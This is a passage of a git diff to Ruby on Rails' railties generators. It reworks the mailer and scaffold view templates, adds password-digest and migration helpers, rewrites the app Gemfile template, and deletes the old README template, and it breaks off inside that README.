index 5f06734ab8..94c1b835d1 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -11,8 +11,10 @@ module Erb # :nodoc:
actions.each do |action|
@action = action
- @path = File.join(base_path, filename_with_extensions(action))
- template filename_with_extensions(:view), @path
+ formats.each do |format|
+ @path = File.join(base_path, filename_with_extensions(action, format))
+ template filename_with_extensions(:view, format), @path
+ end
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 7bcac30dde..f9b3658ae7 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -1,12 +1,33 @@
-require 'rails/generators/erb/controller/controller_generator'
+require 'rails/generators/erb'
module Erb # :nodoc:
module Generators # :nodoc:
- class MailerGenerator < ControllerGenerator # :nodoc:
+ class MailerGenerator < Base # :nodoc:
+ argument :actions, type: :array, default: [], banner: "method method"
+
+ def copy_view_files
+ view_base_path = File.join("app/views", class_path, file_name)
+ empty_directory view_base_path
+
+ formats.each do |format|
+ layout_path = File.join("app/views/layouts", filename_with_extensions("mailer", format))
+ template filename_with_extensions(:layout, format), layout_path
+ end
+
+ actions.each do |action|
+ @action = action
+
+ formats.each do |format|
+ @path = File.join(view_base_path, filename_with_extensions(action, format))
+ template filename_with_extensions(:view, format), @path
+ end
+ end
+ end
+
protected
- def format
- :text
+ def formats
+ [:text, :html]
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb
new file mode 100644
index 0000000000..93110e74ad
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb
@@ -0,0 +1,5 @@
+<html>
+ <body>
+ <%%= yield %>
+ </body>
+</html>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb
new file mode 100644
index 0000000000..6363733e6e
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb
@@ -0,0 +1 @@
+<%%= yield %>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000000..b5045671b3
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+ <%%= @greeting %>, find me in <%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
index 6d597256a6..342285df19 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -1,3 +1,3 @@
<%= class_name %>#<%= @action %>
-<%%= @greeting %>, find me in app/views/<%= @path %>
+<%%= @greeting %>, find me in <%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index bacbc2d280..c94829a0ae 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -14,8 +14,10 @@ module Erb # :nodoc:
def copy_view_files
available_views.each do |view|
- filename = filename_with_extensions(view)
- template filename, File.join("app/views", controller_file_path, filename)
+ formats.each do |format|
+ filename = filename_with_extensions(view, format)
+ template filename, File.join("app/views", controller_file_path, filename)
+ end
end
end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
index 32546936e3..bba9141fb8 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -4,8 +4,8 @@
<h2><%%= pluralize(@<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
<ul>
- <%% @<%= singular_table_name %>.errors.full_messages.each do |msg| %>
- <li><%%= msg %></li>
+ <%% @<%= singular_table_name %>.errors.full_messages.each do |message| %>
+ <li><%%= message %></li>
<%% end %>
</ul>
</div>
@@ -13,8 +13,17 @@
<% attributes.each do |attribute| -%>
<div class="field">
- <%%= f.label :<%= attribute.name %> %><br />
- <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
+<% if attribute.password_digest? -%>
+ <%%= f.label :password %><br>
+ <%%= f.password_field :password %>
+ </div>
+ <div class="field">
+ <%%= f.label :password_confirmation %><br>
+ <%%= f.password_field :password_confirmation %>
+<% else -%>
+ <%%= f.label :<%= attribute.column_name %> %><br>
+ <%%= f.<%= attribute.field_type %> :<%= attribute.column_name %> %>
+<% end -%>
</div>
<% end -%>
<div class="actions">
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
index e58b9fbd08..5620fcc850 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
@@ -1,4 +1,4 @@
-<h1>Editing <%= singular_table_name %></h1>
+<h1>Editing <%= singular_table_name.titleize %></h1>
<%%= render 'form' %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
index f5182bcc50..5e194783ff 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -1,29 +1,31 @@
-<h1>Listing <%= plural_table_name %></h1>
+<p id="notice"><%%= notice %></p>
+
+<h1>Listing <%= plural_table_name.titleize %></h1>
<table>
<thead>
<tr>
- <% attributes.each do |attribute| -%>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
<th><%= attribute.human_name %></th>
- <% end -%>
- <th></th>
- <th></th>
- <th></th>
+<% end -%>
+ <th colspan="3"></th>
</tr>
</thead>
<tbody>
- <%%= content_tag_for(:tr, @<%= plural_table_name %>) do |<%= singular_table_name %>| %>
- <% attributes.each do |attribute| -%>
- <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
- <% end -%>
- <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
- <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
- <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ <%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
+ <tr>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+ <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
+<% end -%>
+ <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
+ <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
+ <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ </tr>
<%% end %>
</tbody>
</table>
-<br />
+<br>
<%%= link_to 'New <%= human_name %>', new_<%= singular_table_name %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
index 02ae4d015e..db13a5d870 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
@@ -1,4 +1,4 @@
-<h1>New <%= singular_table_name %></h1>
+<h1>New <%= singular_table_name.titleize %></h1>
<%%= render 'form' %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
index e15c963971..5e634153be 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
@@ -1,12 +1,11 @@
<p id="notice"><%%= notice %></p>
-<% attributes.each do |attribute| -%>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
<p>
<strong><%= attribute.human_name %>:</strong>
<%%= @<%= singular_table_name %>.<%= attribute.name %> %>
</p>
<% end -%>
-
<%%= link_to 'Edit', edit_<%= singular_table_name %>_path(@<%= singular_table_name %>) %> |
<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index 4ae8756ed0..f16bd8e082 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -44,8 +44,11 @@ module Rails
return $1, limit: $2.to_i
when /decimal\{(\d+)[,.-](\d+)\}/
return :decimal, precision: $1.to_i, scale: $2.to_i
- when /(references|belongs_to)\{polymorphic\}/
- return $1, polymorphic: true
+ when /(references|belongs_to)\{(.+)\}/
+ type = $1
+ provided_options = $2.split(/[,.-]/)
+ options = Hash[provided_options.map { |opt| [opt.to_sym, true] }]
+ return type, options
else
return type, {}
end
@@ -94,6 +97,10 @@ module Rails
name.sub(/_id$/, '').pluralize
end
+ def singular_name
+ name.sub(/_id$/, '').singularize
+ end
+
def human_name
name.humanize
end
@@ -119,7 +126,11 @@ module Rails
end
def polymorphic?
- self.attr_options.has_key?(:polymorphic)
+ self.attr_options[:polymorphic]
+ end
+
+ def required?
+ self.attr_options[:required]
end
def has_index?
@@ -130,13 +141,26 @@ module Rails
@has_uniq_index
end
+ def password_digest?
+ name == 'password' && type == :digest
+ end
+
def inject_options
- "".tap { |s| @attr_options.each { |k,v| s << ", #{k}: #{v.inspect}" } }
+ "".tap { |s| options_for_migration.each { |k,v| s << ", #{k}: #{v.inspect}" } }
end
def inject_index_options
has_uniq_index? ? ", unique: true" : ""
end
+
+ def options_for_migration
+ @attr_options.dup.tap do |options|
+ if required?
+ options.delete(:required)
+ options[:null] = false
+ end
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index 5bf98bb6e0..cd388e590a 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -1,15 +1,15 @@
+require 'active_support/concern'
+require 'rails/generators/actions/create_migration'
+
module Rails
module Generators
# Holds common methods for migrations. It assumes that migrations has the
# [0-9]*_name format and can be used by another frameworks (like Sequel)
# just by implementing the next migration version method.
module Migration
+ extend ActiveSupport::Concern
attr_reader :migration_number, :migration_file_name, :migration_class_name
- def self.included(base) #:nodoc:
- base.extend ClassMethods
- end
-
module ClassMethods
def migration_lookup_at(dirname) #:nodoc:
Dir.glob("#{dirname}/[0-9]*_*.rb")
@@ -30,6 +30,19 @@ module Rails
end
end
+ def create_migration(destination, data, config = {}, &block)
+ action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+ end
+
+ def set_migration_assigns!(destination)
+ destination = File.expand_path(destination, self.destination_root)
+
+ migration_dir = File.dirname(destination)
+ @migration_number = self.class.next_migration_number(migration_dir)
+ @migration_file_name = File.basename(destination, '.rb')
+ @migration_class_name = @migration_file_name.camelize
+ end
+
# Creates a migration template at the given destination. The difference
# to the default template method is that the migration version is appended
# to the destination file name.
@@ -38,26 +51,18 @@ module Rails
# available as instance variables in the template to be rendered.
#
# migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
- def migration_template(source, destination=nil, config={})
- destination = File.expand_path(destination || source, self.destination_root)
+ def migration_template(source, destination, config = {})
+ source = File.expand_path(find_in_source_paths(source.to_s))
- migration_dir = File.dirname(destination)
- @migration_number = self.class.next_migration_number(migration_dir)
- @migration_file_name = File.basename(destination).sub(/\.rb$/, '')
- @migration_class_name = @migration_file_name.camelize
+ set_migration_assigns!(destination)
+ context = instance_eval('binding')
- destination = self.class.migration_exists?(migration_dir, @migration_file_name)
+ dir, base = File.split(destination)
+ numbered_destination = File.join(dir, ["%migration_number%", base].join('_'))
- if !(destination && options[:skip]) && behavior == :invoke
- if destination && options.force?
- remove_file(destination)
- elsif destination
- raise Error, "Another migration is already named #{@migration_file_name}: #{destination}"
- end
- destination = File.join(migration_dir, "#{@migration_number}_#{@migration_file_name}.rb")
+ create_migration numbered_destination, nil, config do
+ ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)
end
-
- template(source, destination, config)
end
end
end
diff --git a/railties/lib/rails/generators/model_helpers.rb b/railties/lib/rails/generators/model_helpers.rb
new file mode 100644
index 0000000000..42c646543e
--- /dev/null
+++ b/railties/lib/rails/generators/model_helpers.rb
@@ -0,0 +1,28 @@
+require 'rails/generators/active_model'
+
+module Rails
+ module Generators
+ module ModelHelpers # :nodoc:
+ PLURAL_MODEL_NAME_WARN_MESSAGE = "[WARNING] The model name '%s' was recognized as a plural, using the singular '%s' instead. " \
+ "Override with --force-plural or setup custom inflection rules for this noun before running the generator."
+ mattr_accessor :skip_warn
+
+ def self.included(base) #:nodoc:
+ base.class_option :force_plural, type: :boolean, default: false, desc: 'Forces the use of the given model name'
+ end
+
+ def initialize(args, *_options)
+ super
+ if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+ singular = name.singularize
+ unless ModelHelpers.skip_warn
+ say PLURAL_MODEL_NAME_WARN_MESSAGE % [name, singular]
+ ModelHelpers.skip_warn = true
+ end
+ name.replace singular
+ assign_names!(name)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index 9965db98de..397e1e73f1 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -18,6 +18,8 @@ module Rails
parse_attributes! if respond_to?(:attributes)
end
+ # Defines the template that would be used for the migration file.
+ # The arguments include the source template file, the migration filename etc.
no_tasks do
def template(source, *args, &block)
inside_template do
@@ -28,7 +30,12 @@ module Rails
protected
attr_reader :file_name
- alias :singular_name :file_name
+
+ # FIXME: We are avoiding to use alias because a bug on thor that make
+ # this method public and add it to the task list.
+ def singular_name
+ file_name
+ end
# Wrap block with namespace of current application
# if namespace exists and is not skipped
@@ -40,7 +47,7 @@ module Rails
def indent(content, multiplier = 2)
spaces = " " * multiplier
- content = content.each_line.map {|line| line.blank? ? line : "#{spaces}#{line}" }.join
+ content.each_line.map {|line| line.blank? ? line : "#{spaces}#{line}" }.join
end
def wrap_with_namespace(content)
@@ -88,11 +95,11 @@ module Rails
end
def namespaced_path
- @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
+ @namespaced_path ||= namespace.name.split("::").first.underscore
end
def class_name
- (class_path + [file_name]).map!{ |m| m.camelize }.join('::')
+ (class_path + [file_name]).map!(&:camelize).join('::')
end
def human_name
@@ -149,7 +156,7 @@ module Rails
def assign_names!(name) #:nodoc:
@class_path = name.include?('/') ? name.split('/') : name.split('::')
- @class_path.map! { |m| m.underscore }
+ @class_path.map!(&:underscore)
@file_name = @class_path.pop
end
@@ -163,6 +170,7 @@ module Rails
def attributes_names
@attributes_names ||= attributes.each_with_object([]) do |a, names|
names << a.column_name
+ names << 'password_confirmation' if a.password_digest?
names << "#{a.name}_type" if a.polymorphic?
end
end
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index c98f021cfe..f8a8ae90d9 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -38,7 +38,7 @@ module Rails
end
def readme
- copy_file "README", "README.rdoc"
+ copy_file "README.rdoc", "README.rdoc"
end
def gemfile
@@ -50,13 +50,25 @@ module Rails
end
def gitignore
- copy_file "gitignore", ".gitignore"
+ template "gitignore", ".gitignore"
end
def app
directory 'app'
+
+ keep_file 'app/assets/images'
keep_file 'app/mailers'
keep_file 'app/models'
+
+ keep_file 'app/controllers/concerns'
+ keep_file 'app/models/concerns'
+ end
+
+ def bin
+ directory "bin" do |content|
+ "#{shebang}\n" + content
+ end
+ chmod "bin", 0755 & ~File.umask, verbose: false
end
def config
@@ -66,6 +78,7 @@ module Rails
template "routes.rb"
template "application.rb"
template "environment.rb"
+ template "secrets.yml"
directory "environments"
directory "initializers"
@@ -73,6 +86,16 @@ module Rails
end
end
+ def config_when_updating
+ cookie_serializer_config_exist = File.exist?('config/initializers/cookies_serializer.rb')
+
+ config
+
+ unless cookie_serializer_config_exist
+ gsub_file 'config/initializers/cookies_serializer.rb', /json/, 'marshal'
+ end
+ end
+
def database_yml
template "config/databases/#{options[:database]}.yml", "config/database.yml"
end
@@ -81,10 +104,6 @@ module Rails
directory "db"
end
- def doc
- directory "doc"
- end
-
def lib
empty_directory 'lib'
empty_directory_with_keep_file 'lib/tasks'
@@ -99,13 +118,6 @@ module Rails
directory "public", "public", recursive: false
end
- def script
- directory "script" do |content|
- "#{shebang}\n" + content
- end
- chmod "script", 0755, verbose: false
- end
-
def test
empty_directory_with_keep_file 'test/fixtures'
empty_directory_with_keep_file 'test/controllers'
@@ -114,7 +126,6 @@ module Rails
empty_directory_with_keep_file 'test/helpers'
empty_directory_with_keep_file 'test/integration'
- template 'test/performance/browsing_test.rb'
template 'test/test_helper.rb'
end
@@ -129,7 +140,9 @@ module Rails
end
def vendor_javascripts
- empty_directory_with_keep_file 'vendor/assets/javascripts'
+ unless options[:skip_javascript]
+ empty_directory_with_keep_file 'vendor/assets/javascripts'
+ end
end
def vendor_stylesheets
@@ -141,7 +154,7 @@ module Rails
# We need to store the RAILS_DEV_PATH in a constant, otherwise the path
# can change in Ruby 1.8.7 when we FileUtils.cd.
RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
- RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test]
+ RESERVED_NAMES = %w[application destroy plugin runner test]
class AppGenerator < AppBase # :nodoc:
add_shared_options_for "application"
@@ -151,15 +164,18 @@ module Rails
desc: "Show Rails version number and quit"
def initialize(*args)
- raise Error, "Options should be given after the application name. For details run: rails --help" if args[0].blank?
-
super
+ unless app_path
+ raise Error, "Application name should be provided in arguments. For details run: rails --help"
+ end
+
if !options[:skip_active_record] && !DATABASES.include?(options[:database])
raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
end
end
+ public_task :set_default_accessors!
public_task :create_root
def create_root_files
@@ -174,10 +190,19 @@ module Rails
build(:app)
end
+ def create_bin_files
+ build(:bin)
+ end
+
def create_config_files
build(:config)
end
+ def update_config_files
+ build(:config_when_updating)
+ end
+ remove_task :update_config_files
+
def create_boot_file
template "config/boot.rb"
end
@@ -191,10 +216,6 @@ module Rails
build(:db)
end
- def create_doc_files
- build(:doc)
- end
-
def create_lib_files
build(:lib)
end
@@ -207,10 +228,6 @@ module Rails
build(:public_directory)
end
- def create_script_files
- build(:script)
- end
-
def create_test_files
build(:test) unless options[:skip_test_unit]
end
@@ -223,11 +240,28 @@ module Rails
build(:vendor)
end
+ def delete_js_folder_skipping_javascript
+ if options[:skip_javascript]
+ remove_dir 'app/assets/javascripts'
+ end
+ end
+
+ def delete_assets_initializer_skipping_sprockets
+ if options[:skip_sprockets]
+ remove_file 'config/initializers/assets.rb'
+ end
+ end
+
def finish_template
build(:leftovers)
end
public_task :apply_rails_template, :run_bundle
+ public_task :generate_spring_binstubs
+
+ def run_after_bundle_callbacks
+ @after_bundle_callbacks.each(&:call)
+ end
protected
@@ -241,7 +275,7 @@ module Rails
end
def app_name
- @app_name ||= defined_app_const_base? ? defined_app_name : File.basename(destination_root)
+ @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', '').tr(". ", "_")
end
def defined_app_name
@@ -296,5 +330,76 @@ module Rails
defined?(::AppBuilder) ? ::AppBuilder : Rails::AppBuilder
end
end
+
+ # This class handles preparation of the arguments before the AppGenerator is
+ # called. The class provides version or help information if they were
+ # requested, and also constructs the railsrc file (used for extra configuration
+ # options).
+ #
+ # This class should be called before the AppGenerator is required and started
+ # since it configures and mutates ARGV correctly.
+ class ARGVScrubber # :nodoc
+ def initialize(argv = ARGV)
+ @argv = argv
+ end
+
+ def prepare!
+ handle_version_request!(@argv.first)
+ handle_invalid_command!(@argv.first, @argv) do
+ handle_rails_rc!(@argv.drop(1))
+ end
+ end
+
+ def self.default_rc_file
+ File.expand_path('~/.railsrc')
+ end
+
+ private
+
+ def handle_version_request!(argument)
+ if ['--version', '-v'].include?(argument)
+ require 'rails/version'
+ puts "Rails #{Rails::VERSION::STRING}"
+ exit(0)
+ end
+ end
+
+ def handle_invalid_command!(argument, argv)
+ if argument == "new"
+ yield
+ else
+ ['--help'] + argv.drop(1)
+ end
+ end
+
+ def handle_rails_rc!(argv)
+ if argv.find { |arg| arg == '--no-rc' }
+ argv.reject { |arg| arg == '--no-rc' }
+ else
+ railsrc(argv) { |rc_argv, rc| insert_railsrc_into_argv!(rc_argv, rc) }
+ end
+ end
+
+ def railsrc(argv)
+ if (customrc = argv.index{ |x| x.include?("--rc=") })
+ fname = File.expand_path(argv[customrc].gsub(/--rc=/, ""))
+ yield(argv.take(customrc) + argv.drop(customrc + 1), fname)
+ else
+ yield argv, self.class.default_rc_file
+ end
+ end
+
+ def read_rc_file(railsrc)
+ extra_args = File.readlines(railsrc).flat_map(&:split)
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ extra_args
+ end
+
+ def insert_railsrc_into_argv!(argv, railsrc)
+ return argv unless File.exist?(railsrc)
+ extra_args = read_rc_file railsrc
+ argv.take(1) + extra_args + argv.drop(1)
+ end
+ end
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index 5b7a653a09..7027312aa9 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,25 +1,46 @@
source 'https://rubygems.org'
-<%= rails_gemfile_entry -%>
-
-<%= database_gemfile_entry -%>
-
-<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%>
-
-<%= assets_gemfile_entry %>
-<%= javascript_gemfile_entry -%>
-
-# To use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.0.0'
-
-# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-# gem 'jbuilder'
-
-# Use unicorn as the app server
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+ "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+# Use ActiveModel has_secure_password
+# gem 'bcrypt', '~> 3.1.7'
+
+# Use Unicorn as the app server
# gem 'unicorn'
-# Deploy with Capistrano
-# gem 'capistrano', group: :development
-
-# To use debugger
-# gem 'debugger'
+# Use Capistrano for deployment
+# gem 'capistrano-rails', group: :development
+
+group :development, :test do
+<% unless defined?(JRUBY_VERSION) -%>
+ <%- if RUBY_VERSION < '2.0.0' -%>
+ # Call 'debugger' anywhere in the code to stop execution and get a debugger console
+ gem 'debugger'
+ <%- else -%>
+ # Call 'byebug' anywhere in the code to stop execution and get a debugger console
+ gem 'byebug'
+ <%- end -%>
+
+ # Access an IRB console on exception pages or by using <%%= console %> in views
+ gem 'web-console', '~> 2.0'
+<%- if spring_install? %>
+ # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
+ gem 'spring'
+<% end -%>
+<% end -%>
+end
+
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%>
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/README b/railties/lib/rails/generators/rails/app/templates/README
deleted file mode 100644
index b5d7b6436b..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/README
+++ /dev/null
@@ -1,259 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the Model-View-Control pattern.
-
-This pattern splits the view (also called the presentation) into "dumb"
-templates that are primarily responsible for inserting pre-built data in between
-HTML tags. The model contains the "smart" domain objects (such as Account,
-Product, Person, Post) that holds all the business logic and knows how to
-persist themselves to a database. The controller handles the incoming requests
-(such as Save New Account, Update Product, Show Post) by manipulating the model
-and directing data to the view.
-
-In Rails, the model is handled by what's called an object-relational mapping
-layer entitled Active Record. This layer allows you to present the data from
-database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in
-link:files/vendor/rails/activerecord/README.html.
-
-The controller and view are handled by the Action Pack, which handles both
-layers by its two parts: Action View and Action Controller. These two layers
-are bundled in a single package due to their heavy interdependence. This is
-unlike the relationship between the Active Record and Action Pack that is much
-more separate. Each of these packages can be used independently outside of
-Rails. You can read more about Action Pack in
-link:files/vendor/rails/actionpack/README.html.
-
-
-== Getting Started
-
-1. At the command prompt, create a new Rails application:
- <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
-
-2. Change directory to <tt>myapp</tt> and start the web server:
- <tt>cd myapp; rails server</tt> (run with --help for options)
-
-3. Go to http://localhost:3000/ and you'll see:
- "Welcome aboard: You're riding Ruby on Rails!"
-
-4. Follow the guidelines to start developing your application. You can find
-the following resources handy:
-
-* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
-* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
-
-
-== Debugging Rails
-
-Sometimes your application goes wrong. Fortunately there are a lot of tools that
-will help you debug it and get it back on the rails.
-
-First area to check is the application log files. Have "tail -f" commands
-running on the server.log and development.log. Rails will automatically display
-debugging and runtime information to these files. Debugging info will also be
-shown in the browser on requests from 127.0.0.1.
-
-You can also log your own messages directly into the log file from your code
-using the Ruby logger class from inside your controllers. Example:
-
- class WeblogController < ActionController::Base
- def destroy
- @weblog = Weblog.find(params[:id])
- @weblog.destroy
- logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
- end
- end
-
-The result will be a message in your log file along the lines of:
-
- Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
-
-More information on how to use the logger is at http://www.ruby-doc.org/core/
-
-Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
-several books available online as well:
-
-* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
-* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
-
-These two books will bring you up to speed on the Ruby language and also on
-programming in general.
-
-
-== Debugger
-
-Debugger support is available through the debugger command when you start your
-Mongrel or WEBrick server with --debugger. This means that you can break out of
-execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install the 'debugger' gem to run the server in debugging
-mode. Add gem 'debugger' to your Gemfile and run <tt>bundle</tt> to install it. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.all
- debugger
- end
- end
-
-So the controller will accept the action, run the first line, then present you
-with a IRB prompt in the server window. Here you can do things like:
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8
- @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
- #<Post:0x14a6620
- @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
- >> @posts.first.title = "hello from a debugger"
- => "hello from a debugger"
-
-...and even better, you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
-Finally, when you're ready to resume execution, you can enter "cont".
-
-
-== Console
-
-The console is a Ruby shell, which allows you to interact with your
-application's domain model. Here you'll have all parts of the application
-configured, just like it is when the application is running. You can inspect
-domain models, change values, and save to the database. Starting the script
-without arguments will launch it in the development environment.
-
-To start the console, run <tt>rails console</tt> from the application
-directory.
-
-Options:
-
-* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
- made to the database.
-* Passing an environment name as an argument will load the corresponding
- environment. Example: <tt>rails console production</tt>.
-
-To reload your controllers and models after launching the console run
-<tt>reload!</tt>
-
-More information about irb can be found at:
-link:http://www.rubycentral.org/pickaxe/irb.html
-
-
-== dbconsole
-
-You can go to the command line of your database directly through <tt>rails
-dbconsole</tt>. You would be connected to the database with the credentials
-defined in database.yml. Starting the script without arguments will connect you
-to the development database. Passing an argument will connect you to a different
-database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
-PostgreSQL and SQLite 3.
-
-== Description of Contents
-
-The default directory structure of a generated Ruby on Rails application:
-
- |-- app
- | |-- assets
- | |-- images
- | |-- javascripts
- | `-- stylesheets
- | |-- controllers
- | |-- helpers
- | |-- mailers
- | |-- models
- | `-- views
- | `-- layouts
- |-- config
- | |-- environments
- | |-- initializers
- | `-- locales
- |-- db
- |-- doc
- |-- lib
- | `-- tasks
- |-- log
- |-- public
- |-- script
- |-- test
- | |-- fixtures
- | |-- functional
- | |-- integration
- | |-- performance
- | `-- unit
- |-- tmp
- | |-- cache
- | |-- pids
- | |-- sessions
- | `-- sockets
- `-- vendor
- |-- assets
- `-- stylesheets
-
-app
- Holds all the code that's specific to this particular application.
-
-app/assets
- Contains subdirectories for images, stylesheets, and JavaScript files.
-
-app/controllers
- Holds controllers that should be named like weblogs_controller.rb for
- automated URL mapping. All controllers should descend from
- ApplicationController which itself descends from ActionController::Base.
-
-app/models
